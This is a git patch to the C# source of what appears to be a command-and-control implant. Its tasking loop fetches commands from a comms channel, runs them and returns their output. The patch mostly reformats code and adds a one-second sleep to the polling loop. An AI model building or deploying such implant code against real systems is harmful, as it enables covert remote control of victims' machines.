From 1db8e7a324a9898c0f9538f50375c013bd43f813 Mon Sep 17 00:00:00 2001 From: Gr1mmie Date: Thu, 24 Mar 2022 18:21:04 -0400 Subject: [PATCH] fixed Very high power usage bug --- Implant/Program.cs | 22 ++++++++-------------- Implant/Utils/ImplantOptionUtils.cs | 21 ++++++--------------- 2 files changed, 14 insertions(+), 29 deletions(-) diff --git a/Implant/Program.cs b/Implant/Program.cs index 3fb37bf..b9049b0 100644 --- a/Implant/Program.cs +++ b/Implant/Program.cs @@ -42,25 +42,18 @@ namespace Implant public static void HandleTask(ImplantTask task) { var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); if (command is null) { return; } - try - { + + try { var _out = command.Execute(task); SendTaskOut(task, task.Id, _out); - } catch (Exception e) { - SendTaskOut(task, task.Id, e.Message); - } + } catch (Exception e) { SendTaskOut(task, task.Id, e.Message); } } - public static void HandleTasks(IEnumerable tasks) { - foreach (var task in tasks) { HandleTask(task); } - } + public static void HandleTasks(IEnumerable tasks) { foreach (var task in tasks) { HandleTask(task); } } - public static void ImplantCommandsInit() - { - foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) - { - if (type.IsSubclassOf(typeof(ImplantCommands))) - { + public static void ImplantCommandsInit() { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) { + if (type.IsSubclassOf(typeof(ImplantCommands))) { ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands; _commands.Add(cmd); } @@ -83,6 +76,7 @@ namespace Implant _cancelToken = new CancellationTokenSource(); while (!_cancelToken.IsCancellationRequested) { + Thread.Sleep(1000); if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); } } } diff --git a/Implant/Utils/ImplantOptionUtils.cs b/Implant/Utils/ImplantOptionUtils.cs index 8c29c31..0acceef 100644 --- a/Implant/Utils/ImplantOptionUtils.cs +++ b/Implant/Utils/ImplantOptionUtils.cs @@ -10,23 +10,17 @@ using static Implant.Models.ImplantTaskData; namespace Implant.Utils { - public class ImplantOptionUtils - { - - public static void OptsInit() - { - foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) - { - if (type.IsSubclassOf(typeof(ImplantOptions))) - { + public class ImplantOptionUtils { + public static void OptsInit() { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) { + if (type.IsSubclassOf(typeof(ImplantOptions))) { ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions; _opts.Add(function); } } } - public static List ReturnMethod(ImplantTask task) - { + public static List ReturnMethod(ImplantTask task) { if (_opts.Count == 0) { OptsInit(); } ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); @@ -34,10 +28,7 @@ namespace Implant.Utils return opt.Data; } - public static ArgsRecv ParseArgs(string jsonData){ - return JsonConvert.DeserializeObject(jsonData); - } - + public static ArgsRecv ParseArgs(string jsonData){ return JsonConvert.DeserializeObject(jsonData); } } }